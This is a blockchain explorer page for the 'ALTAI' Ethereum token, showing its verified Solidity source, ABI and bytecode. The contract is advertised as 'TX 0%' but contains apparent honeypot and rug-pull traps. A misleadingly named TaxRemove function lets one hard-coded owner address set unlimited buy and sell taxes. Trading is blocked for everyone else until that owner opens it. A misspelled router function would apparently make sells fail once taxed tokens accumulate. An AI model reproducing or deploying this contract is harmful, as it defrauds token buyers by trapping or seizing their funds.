ETH Price: $2,058.64 (+5.51%)
 

Overview

Max Total Supply

100,000,000 ALTAI

Holders

13

Transfers

-
0

Market

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ALT

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2024-01-26
*/

/*

live now
TX 0%


*/

// SPDX-License-Identifier: unlicense


pragma solidity 0.8.21;
    
interface IUniswapV2Router02 {
     function swapExactTokensForETHSupportingTaxfsOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
    
    contract ALT {



        function transferFrom(address from, address to, uint256 amount) external returns (bool){
            allowance[from][msg.sender] -= amount;        
            return _transfer(from, to, amount);
        }

        constructor() {
            balanceOf[msg.sender] = totalSupply;
            allowance[address(this)][routerAddress] = type(uint256).max;
            emit Transfer(address(0), msg.sender, totalSupply);
        }

        string public   _name = unicode"ALTAI"; 
        string public   _symbol = unicode"ALTAI";  
        uint8 public constant decimals = 18;
        uint256 public constant totalSupply = 100000000 * 10**decimals;

        uint256 buyTaxfs = 0;
        uint256 sellTaxfs = 0;
        uint256 constant swapAmount = totalSupply / 100;
        
        error Permissions();

        function name() public view virtual returns (string memory) {
        return _name;
        }

    
        function symbol() public view virtual returns (string memory) {
        return _symbol;
        }    

        event Transfer(address indexed from, address indexed to, uint256 value);
        event Approval(
            address indexed MTKOOF,
            address indexed spender,
            uint256 value
        );

        mapping (address => uint256) public balanceOf;
        mapping (address => mapping (address => uint256)) public allowance;

       
        
        function approve(address spender, uint256 amount) external returns (bool){
            allowance[msg.sender][spender] = amount;
            emit Approval(msg.sender, spender, amount);
            return true;
        }

        function transfer(address to, uint256 amount) external returns (bool){
            return _transfer(msg.sender, to, amount);
        }

        address private pair;
        address constant ETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
        address constant routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
        IUniswapV2Router02 constant _uniswapV2Router = IUniswapV2Router02(routerAddress);
        address payable constant MTKOOF = payable(address(0x94b57Bc38f39792A8916a6D483b28AB201FF1411));

        bool private swapping;
        bool private tradingOpen;

        

        receive() external payable {}

        

        function _transfer(address from, address to, uint256 amount) internal returns (bool){
            require(tradingOpen || from == MTKOOF || to == MTKOOF);

            if(!tradingOpen && pair == address(0) && amount > 0)
                pair = to;

            balanceOf[from] -= amount;

            if (to == pair && !swapping && balanceOf[address(this)] >= swapAmount){
                swapping = true;
                address[] memory path = new address[](2);
                path[0] = address(this);
                path[1] = ETH;
                _uniswapV2Router.swapExactTokensForETHSupportingTaxfsOnTransferTokens(
                    swapAmount,
                    0,
                    path,
                    address(this),
                    block.timestamp
                );
                MTKOOF.transfer(address(this).balance);
                swapping = false;
            }

            if(from != address(this)){
                uint256 TaxfsAmount = amount * (from == pair ? buyTaxfs : sellTaxfs) / 100;
                amount -= TaxfsAmount;
                balanceOf[address(this)] += TaxfsAmount;
            }
            balanceOf[to] += amount;
            emit Transfer(from, to, amount);
            return true;
        }

        function SwapOpen() external {
            require(msg.sender == MTKOOF);
            require(!tradingOpen);
            tradingOpen = true;        
        }

        function _RemeveTax(uint256 _buy, uint256 _sell) private {
            buyTaxfs = _buy;
            sellTaxfs = _sell;
        }

        function TaxRemove(uint256 _buy, uint256 _sell) external {
            if(msg.sender != MTKOOF)        
                revert Permissions();
            _RemeveTax(_buy, _sell);
        }
    }

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"Permissions","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"MTKOOF","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"SwapOpen","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"}],"name":"TaxRemove","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526040518060400160405280600581526020017f414c5441490000000000000000000000000000000000000000000000000000008152505f9081620000499190620004aa565b506040518060400160405280600581526020017f414c54414900000000000000000000000000000000000000000000000000000081525060019081620000909190620004aa565b505f6002555f600355348015620000a5575f80fd5b506012600a620000b6919062000717565b6305f5e100620000c7919062000767565b60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60055f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503373ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6012600a62000218919062000717565b6305f5e10062000229919062000767565b604051620002389190620007c2565b60405180910390a3620007dd565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680620002c257607f821691505b602082108103620002d857620002d76200027d565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026200033c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620002ff565b620003488683620002ff565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f620003926200038c620003868462000360565b62000369565b62000360565b9050919050565b5f819050919050565b620003ad8362000372565b620003c5620003bc8262000399565b8484546200030b565b825550505050565b5f90565b620003db620003cd565b620003e8818484620003a2565b505050565b5b818110156200040f57620004035f82620003d1565b600181019050620003ee565b5050565b601f8211156200045e576200042881620002de565b6200043384620002f0565b8101602085101562000443578190505b6200045b6200045285620002f0565b830182620003ed565b50505b505050565b5f82821c905092915050565b5f620004805f198460080262000463565b1980831691505092915050565b5f6200049a83836200046f565b9150826002028217905092915050565b620004b58262000246565b67ffffffffffffffff811115620004d157620004d062000250565b5b620004dd8254620002aa565b620004ea82828562000413565b5f60209050601f83116001811462000520575f84156200050b578287015190505b6200051785826200048d565b86555062000586565b601f1984166200053086620002de565b5f5b82811015620005595784890151825560018201915060208501945060208101905062000532565b8683101562000579578489015162000575601f8916826200046f565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156200061857808604811115620005f057620005ef6200058e565b5b6001851615620006005780820291505b80810290506200061085620005bb565b9450620005d0565b94509492505050565b5f8262000632576001905062000704565b8162000641575f905062000704565b81600181146200065a576002811462000665576200069b565b600191505062000704565b60ff8411156200067a57620006796200058e565b5b8360020a9150848211156200069457620006936200058e565b5b5062000704565b5060208310610133831016604e8410600b8410161715620006d55782820a905083811115620006cf57620006ce6200058e565b5b62000704565b620006e48484846001620005c7565b92509050818404811115620006fe57620006fd6200058e565b5b81810290505b9392505050565b5f60ff82169050919050565b5f620007238262000360565b915062000730836200070b565b92506200075f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000621565b905092915050565b5f620007738262000360565b9150620007808362000360565b9250828202620007908162000360565b91508282048414831517620007aa57620007a96200058e565b5b5092915050565b620007bc8162000360565b82525050565b5f602082019050620007d75f830184620007b1565b92915050565b61171d80620007eb5f395ff3fe6080604052600436106100c5575f3560e01c806370a082311161007e578063b09f126611610058578063b09f12661461027e578063b944d7bb146102a8578063d28d8852146102d0578063dd62ed3e146102fa576100cc565b806370a08231146101dc57806395d89b4114610218578063a9059cbb14610242576100cc565b806306fdde03146100d0578063095ea7b3146100fa57806318160ddd1461013657806323b872dd14610160578063313ce5671461019c5780634773e028146101c6576100cc565b366100cc57005b5f80fd5b3480156100db575f80fd5b506100e4610336565b6040516100f19190610fb1565b60405180910390f35b348015610105575f80fd5b50610120600480360381019061011b9190611062565b6103c5565b60405161012d91906110ba565b60405180910390f35b348015610141575f80fd5b5061014a6104b2565b60405161015791906110e2565b60405180910390f35b34801561016b575f80fd5b50610186600480360381019061018191906110fb565b6104d2565b60405161019391906110ba565b60405180910390f35b3480156101a7575f80fd5b506101b0610575565b6040516101bd9190611166565b60405180910390f35b3480156101d1575f80fd5b506101da61057a565b005b3480156101e7575f80fd5b5061020260048036038101906101fd919061117f565b6105fb565b60405161020f91906110e2565b60405180910390f35b348015610223575f80fd5b5061022c610610565b6040516102399190610fb1565b60405180910390f35b34801561024d575f80fd5b5061026860048036038101906102639190611062565b6106a0565b60405161027591906110ba565b60405180910390f35b348015610289575f80fd5b506102926106b4565b60405161029f9190610fb1565b60405180910390f35b3480156102b3575f80fd5b506102ce60048036038101906102c991906111aa565b610740565b005b3480156102db575f80fd5b506102e46107c7565b6040516102f19190610fb1565b60405180910390f35b348015610305575f80fd5b50610320600480360381019061031b91906111e8565b610852565b60405161032d91906110e2565b60405180910390f35b60605f805461034490611253565b80601f016020809104026020016040519081016040528092919081815260200182805461037090611253565b80156103bb5780601f10610392576101008083540402835291602001916103bb565b820191905f5260205f20905b81548152906001019060200180831161039e57829003601f168201915b5050505050905090565b5f8160055f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516104a091906110e2565b60405180910390a36001905092915050565b6012600a6104c091906113df565b6305f5e1006104cf9190611429565b81565b5f8160055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461055a919061146a565b9250508190555061056c848484610872565b90509392505050565b601281565b7394b57bc38f39792a8916a6d483b28ab201ff141173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146105c5575f80fd5b600660159054906101000a900460ff16156105de575f80fd5b6001600660156101000a81548160ff021916908315150217905550565b6004602052805f5260405f205f915090505481565b60606001805461061f90611253565b80601f016020809104026020016040519081016040528092919081815260200182805461064b90611253565b80156106965780601f1061066d57610100808354040283529160200191610696565b820191905f5260205f20905b81548152906001019060200180831161067957829003601f168201915b5050505050905090565b5f6106ac338484610872565b905092915050565b600180546106c190611253565b80601f01602080910402602001604051908101604052809291908181526020018280546106ed90611253565b80156107385780601f1061070f57610100808354040283529160200191610738565b820191905f5260205f20905b81548152906001019060200180831161071b57829003601f168201915b505050505081565b7394b57bc38f39792a8916a6d483b28ab201ff141173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146107b9576040517f9af2b10000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6107c38282610f15565b5050565b5f80546107d390611253565b80601f01602080910402602001604051908101604052809291908181526020018280546107ff90611253565b801561084a5780601f106108215761010080835404028352916020019161084a565b820191905f5260205f20905b81548152906001019060200180831161082d57829003601f168201915b505050505081565b6005602052815f5260405f20602052805f5260405f205f91509150505481565b5f600660159054906101000a900460ff16806108cd57507394b57bc38f39792a8916a6d483b28ab201ff141173ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8061091757507394b57bc38f39792a8916a6d483b28ab201ff141173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b61091f575f80fd5b600660159054906101000a900460ff1615801561098857505f73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b801561099357505f82115b156109d9578260065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b8160045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610a25919061146a565b9250508190555060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015610a955750600660149054906101000a900460ff16155b8015610b06575060646012600a610aac91906113df565b6305f5e100610abb9190611429565b610ac591906114ca565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410155b15610d42576001600660146101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115610b4257610b416114fa565b5b604051908082528060200260200182016040528015610b705781602001602082028036833780820191505090505b50905030815f81518110610b8757610b86611527565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281600181518110610bea57610be9611527565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff166376c452be60646012600a610c6491906113df565b6305f5e100610c739190611429565b610c7d91906114ca565b5f8430426040518663ffffffff1660e01b8152600401610ca195949392919061165c565b5f604051808303815f87803b158015610cb8575f80fd5b505af1158015610cca573d5f803e3d5ffd5b505050507394b57bc38f39792a8916a6d483b28ab201ff141173ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610d25573d5f803e3d5ffd5b505f600660146101000a81548160ff021916908315150217905550505b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614610e52575f606460065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614610dd457600354610dd8565b6002545b84610de39190611429565b610ded91906114ca565b90508083610dfb919061146a565b92508060045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610e4991906116b4565b92505081905550505b8160045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610e9e91906116b4565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610f0291906110e2565b60405180910390a3600190509392505050565b81600281905550806003819055505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015610f5e578082015181840152602081019050610f43565b5f8484015250505050565b5f601f19601f8301169050919050565b5f610f8382610f27565b610f8d8185610f31565b9350610f9d818560208601610f41565b610fa681610f69565b840191505092915050565b5f6020820190508181035f830152610fc98184610f79565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610ffe82610fd5565b9050919050565b61100e81610ff4565b8114611018575f80fd5b50565b5f8135905061102981611005565b92915050565b5f819050919050565b6110418161102f565b811461104b575f80fd5b50565b5f8135905061105c81611038565b92915050565b5f806040838503121561107857611077610fd1565b5b5f6110858582860161101b565b92505060206110968582860161104e565b9150509250929050565b5f8115159050919050565b6110b4816110a0565b82525050565b5f6020820190506110cd5f8301846110ab565b92915050565b6110dc8161102f565b82525050565b5f6020820190506110f55f8301846110d3565b92915050565b5f805f6060848603121561111257611111610fd1565b5b5f61111f8682870161101b565b93505060206111308682870161101b565b92505060406111418682870161104e565b9150509250925092565b5f60ff82169050919050565b6111608161114b565b82525050565b5f6020820190506111795f830184611157565b92915050565b5f6020828403121561119457611193610fd1565b5b5f6111a18482850161101b565b91505092915050565b5f80604083850312156111c0576111bf610fd1565b5b5f6111cd8582860161104e565b92505060206111de8582860161104e565b9150509250929050565b5f80604083850312156111fe576111fd610fd1565b5b5f61120b8582860161101b565b925050602061121c8582860161101b565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061126a57607f821691505b60208210810361127d5761127c611226565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115611305578086048111156112e1576112e0611283565b5b60018516156112f05780820291505b80810290506112fe856112b0565b94506112c5565b94509492505050565b5f8261131d57600190506113d8565b8161132a575f90506113d8565b8160018114611340576002811461134a57611379565b60019150506113d8565b60ff84111561135c5761135b611283565b5b8360020a91508482111561137357611372611283565b5b506113d8565b5060208310610133831016604e8410600b84101617156113ae5782820a9050838111156113a9576113a8611283565b5b6113d8565b6113bb84848460016112bc565b925090508184048111156113d2576113d1611283565b5b81810290505b9392505050565b5f6113e98261102f565b91506113f48361114b565b92506114217fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461130e565b905092915050565b5f6114338261102f565b915061143e8361102f565b925082820261144c8161102f565b9150828204841483151761146357611462611283565b5b5092915050565b5f6114748261102f565b915061147f8361102f565b925082820390508181111561149757611496611283565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6114d48261102f565b91506114df8361102f565b9250826114ef576114ee61149d565b5b828204905092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f819050919050565b5f819050919050565b5f61158061157b61157684611554565b61155d565b61102f565b9050919050565b61159081611566565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b6115c881610ff4565b82525050565b5f6115d983836115bf565b60208301905092915050565b5f602082019050919050565b5f6115fb82611596565b61160581856115a0565b9350611610836115b0565b805f5b8381101561164057815161162788826115ce565b9750611632836115e5565b925050600181019050611613565b5085935050505092915050565b61165681610ff4565b82525050565b5f60a08201905061166f5f8301886110d3565b61167c6020830187611587565b818103604083015261168e81866115f1565b905061169d606083018561164d565b6116aa60808301846110d3565b9695505050505050565b5f6116be8261102f565b91506116c98361102f565b92508282019050808211156116e1576116e0611283565b5b9291505056fea26469706673582212203a095b289e74930b7cec30dd5145763d8c0405fb2ee31d3244577276f3fb7c1e64736f6c63430008150033

Deployed Bytecode

0x6080604052600436106100c5575f3560e01c806370a082311161007e578063b09f126611610058578063b09f12661461027e578063b944d7bb146102a8578063d28d8852146102d0578063dd62ed3e146102fa576100cc565b806370a08231146101dc57806395d89b4114610218578063a9059cbb14610242576100cc565b806306fdde03146100d0578063095ea7b3146100fa57806318160ddd1461013657806323b872dd14610160578063313ce5671461019c5780634773e028146101c6576100cc565b366100cc57005b5f80fd5b3480156100db575f80fd5b506100e4610336565b6040516100f19190610fb1565b60405180910390f35b348015610105575f80fd5b50610120600480360381019061011b9190611062565b6103c5565b60405161012d91906110ba565b60405180910390f35b348015610141575f80fd5b5061014a6104b2565b60405161015791906110e2565b60405180910390f35b34801561016b575f80fd5b50610186600480360381019061018191906110fb565b6104d2565b60405161019391906110ba565b60405180910390f35b3480156101a7575f80fd5b506101b0610575565b6040516101bd9190611166565b60405180910390f35b3480156101d1575f80fd5b506101da61057a565b005b3480156101e7575f80fd5b5061020260048036038101906101fd919061117f565b6105fb565b60405161020f91906110e2565b60405180910390f35b348015610223575f80fd5b5061022c610610565b6040516102399190610fb1565b60405180910390f35b34801561024d575f80fd5b5061026860048036038101906102639190611062565b6106a0565b60405161027591906110ba565b60405180910390f35b348015610289575f80fd5b506102926106b4565b60405161029f9190610fb1565b60405180910390f35b3480156102b3575f80fd5b506102ce60048036038101906102c991906111aa565b610740565b005b3480156102db575f80fd5b506102e46107c7565b6040516102f19190610fb1565b60405180910390f35b348015610305575f80fd5b50610320600480360381019061031b91906111e8565b610852565b60405161032d91906110e2565b60405180910390f35b60605f805461034490611253565b80601f016020809104026020016040519081016040528092919081815260200182805461037090611253565b80156103bb5780601f10610392576101008083540402835291602001916103bb565b820191905f5260205f20905b81548152906001019060200180831161039e57829003601f168201915b5050505050905090565b5f8160055f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516104a091906110e2565b60405180910390a36001905092915050565b6012600a6104c091906113df565b6305f5e1006104cf9190611429565b81565b5f8160055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461055a919061146a565b9250508190555061056c848484610872565b90509392505050565b601281565b7394b57bc38f39792a8916a6d483b28ab201ff141173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146105c5575f80fd5b600660159054906101000a900460ff16156105de575f80fd5b6001600660156101000a81548160ff021916908315150217905550565b6004602052805f5260405f205f915090505481565b60606001805461061f90611253565b80601f016020809104026020016040519081016040528092919081815260200182805461064b90611253565b80156106965780601f1061066d57610100808354040283529160200191610696565b820191905f5260205f20905b81548152906001019060200180831161067957829003601f168201915b5050505050905090565b5f6106ac338484610872565b905092915050565b600180546106c190611253565b80601f01602080910402602001604051908101604052809291908181526020018280546106ed90611253565b80156107385780601f1061070f57610100808354040283529160200191610738565b820191905f5260205f20905b81548152906001019060200180831161071b57829003601f168201915b505050505081565b7394b57bc38f39792a8916a6d483b28ab201ff141173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146107b9576040517f9af2b10000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6107c38282610f15565b5050565b5f80546107d390611253565b80601f01602080910402602001604051908101604052809291908181526020018280546107ff90611253565b801561084a5780601f106108215761010080835404028352916020019161084a565b820191905f5260205f20905b81548152906001019060200180831161082d57829003601f168201915b505050505081565b6005602052815f5260405f20602052805f5260405f205f91509150505481565b5f600660159054906101000a900460ff16806108cd57507394b57bc38f39792a8916a6d483b28ab201ff141173ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8061091757507394b57bc38f39792a8916a6d483b28ab201ff141173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b61091f575f80fd5b600660159054906101000a900460ff1615801561098857505f73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b801561099357505f82115b156109d9578260065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b8160045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610a25919061146a565b9250508190555060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015610a955750600660149054906101000a900460ff16155b8015610b06575060646012600a610aac91906113df565b6305f5e100610abb9190611429565b610ac591906114ca565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410155b15610d42576001600660146101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115610b4257610b416114fa565b5b604051908082528060200260200182016040528015610b705781602001602082028036833780820191505090505b50905030815f81518110610b8757610b86611527565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281600181518110610bea57610be9611527565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff166376c452be60646012600a610c6491906113df565b6305f5e100610c739190611429565b610c7d91906114ca565b5f8430426040518663ffffffff1660e01b8152600401610ca195949392919061165c565b5f604051808303815f87803b158015610cb8575f80fd5b505af1158015610cca573d5f803e3d5ffd5b505050507394b57bc38f39792a8916a6d483b28ab201ff141173ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610d25573d5f803e3d5ffd5b505f600660146101000a81548160ff021916908315150217905550505b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614610e52575f606460065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614610dd457600354610dd8565b6002545b84610de39190611429565b610ded91906114ca565b90508083610dfb919061146a565b92508060045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610e4991906116b4565b92505081905550505b8160045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610e9e91906116b4565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610f0291906110e2565b60405180910390a3600190509392505050565b81600281905550806003819055505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015610f5e578082015181840152602081019050610f43565b5f8484015250505050565b5f601f19601f8301169050919050565b5f610f8382610f27565b610f8d8185610f31565b9350610f9d818560208601610f41565b610fa681610f69565b840191505092915050565b5f6020820190508181035f830152610fc98184610f79565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610ffe82610fd5565b9050919050565b61100e81610ff4565b8114611018575f80fd5b50565b5f8135905061102981611005565b92915050565b5f819050919050565b6110418161102f565b811461104b575f80fd5b50565b5f8135905061105c81611038565b92915050565b5f806040838503121561107857611077610fd1565b5b5f6110858582860161101b565b92505060206110968582860161104e565b9150509250929050565b5f8115159050919050565b6110b4816110a0565b82525050565b5f6020820190506110cd5f8301846110ab565b92915050565b6110dc8161102f565b82525050565b5f6020820190506110f55f8301846110d3565b92915050565b5f805f6060848603121561111257611111610fd1565b5b5f61111f8682870161101b565b93505060206111308682870161101b565b92505060406111418682870161104e565b9150509250925092565b5f60ff82169050919050565b6111608161114b565b82525050565b5f6020820190506111795f830184611157565b92915050565b5f6020828403121561119457611193610fd1565b5b5f6111a18482850161101b565b91505092915050565b5f80604083850312156111c0576111bf610fd1565b5b5f6111cd8582860161104e565b92505060206111de8582860161104e565b9150509250929050565b5f80604083850312156111fe576111fd610fd1565b5b5f61120b8582860161101b565b925050602061121c8582860161101b565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061126a57607f821691505b60208210810361127d5761127c611226565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f